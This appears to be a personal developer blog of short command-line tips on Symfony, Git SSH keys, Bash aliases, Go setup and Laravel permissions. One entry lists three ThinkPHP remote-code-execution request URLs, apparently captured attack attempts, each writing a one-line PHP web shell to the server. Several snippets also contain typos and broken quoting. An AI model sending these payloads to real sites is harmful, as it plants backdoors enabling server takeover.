Categories
PHP

How to clear cache in Symfony ?

rm -rf var/cache/*
Categories
Git

How to add new ssh key to github

$ ssh-keygen -t rsa -b 4096 -C "[email protected]"
$ eval "$(ssh-agent -s)"
$ ssh-add ~/.ssh/id_rsa (regular unix system)
$ ssh-add -K ~/.ssh/id_rsa (for macbook)

$ pbcopy < ~/.ssh/id_rsa.pub (for macbook)

Paste key into github

$ git remote add origin [email protected]:xxxxxx/xxxxxxx.git  
$ git remote -v 
$ git push -u origin master

How to GIT ERROR: Repository not found. ?

$ git push origin master

ERROR: Repository not found.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
  and the repository exists.

Solution

Critical command line to address the issue –

Ensure ssh-agent is enabled:

Start the ssh-agent in the background

eval "$(ssh-agent -s)"
Categories
Golang SEO Web Server

How to web crawl a website ?

I am experimenting a web crawler COLLY – And it is fantastic !!

Have a look ! Golang

https://github.com/gocolly/colly

Categories
bashrc

How to create alias with Bash ?

Common Commands

alias q='exit'
alias c=clear'
alias h='history'
alias cs='clear;ls'
alias p='cat'
alias pd='pwd'
alias lsa='ls -a'
alias lsl='ls -l'
alias pd='pw
’alias t='time'
alias k='kill'
alias null=’/dev/null'
Categories
bashrc

What is most important Bash Command ? How to clear cache with bash ?

source ~/.bashsrc
Categories
Golang

How to install Golang environment with a Mac ?

Go (golang programming language)

Install Golang with Homebrew:

$ brew update


It takes a while to pull all the latest ... be patient ...

$ brew install golang



Go environment

$ vi .bashrc

Then add those lines to export the required variables

This is actually your .bashrc file

export GOPATH=$HOME/go-workspace # don't forget to change your path correctly!
export GOROOT=/usr/local/opt/go/libexec
export PATH=$PATH:$GOPATH/bin
export PATH=$PATH:$GOROOT/bin

Create your workspace:

Create the workspace directories tree:

$ mkdir -p $GOPATH $GOPATH/src $GOPATH/pkg $GOPATH/bin

$GOPATH/src : Where your Go projects / programs are located
$GOPATH/pkg : contains every package objects
$GOPATH/bin : The compiled binaries home

source ~/.bashsrc

Format your Go code

Go has a tool that automatically formats Go source code.

$ gofmt -w yourcode.go

OR

$ go fmt path/to/your/package

Go version

When installed, try to run go version to see the installed version of Go.

davidr$ go version
go version go1.13.4 darwin/amd64

Categories
Security Web Server

How to test SSL compliance ?

https://www.ssllabs.com/ssltest/analyze.html?d=david.raleche.com&latest
Categories
Hacker

WordPress Hacker Technics Injection

https://xxxxxx.com/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=atpko.php&vars[1][]=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');
 
  
 https://xxxxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=<?php mb_ereg_replace('.',@$_REQUEST[_], '', 'e');

https://xxxxxx.com/?s=index/\think\template\driver\file/write&cacheFile=kolsk.php&content=
Categories
Perl Programming Programming Language

Can’t locate URI/URL.pm in @INC (@INC

yum install perl-CPAN.noarch
cpan install URI

Or

sudo yum install perl-libwww-perl
yum install perl-XML-SAX.noarch

No you are ready to go !

Categories
Security

How to Harden File permission for Laravel ?

Apache User

chown -R apache:apache .

Files

find . -type f -print0 | xargs -0 chmod 0400

Directory

find . -type d -print0 | xargs -0 chmod 0500

writable for storage and cache folder

chmod -R 700 storage/
chmod -R ug+rwx storage bootstrap/cache/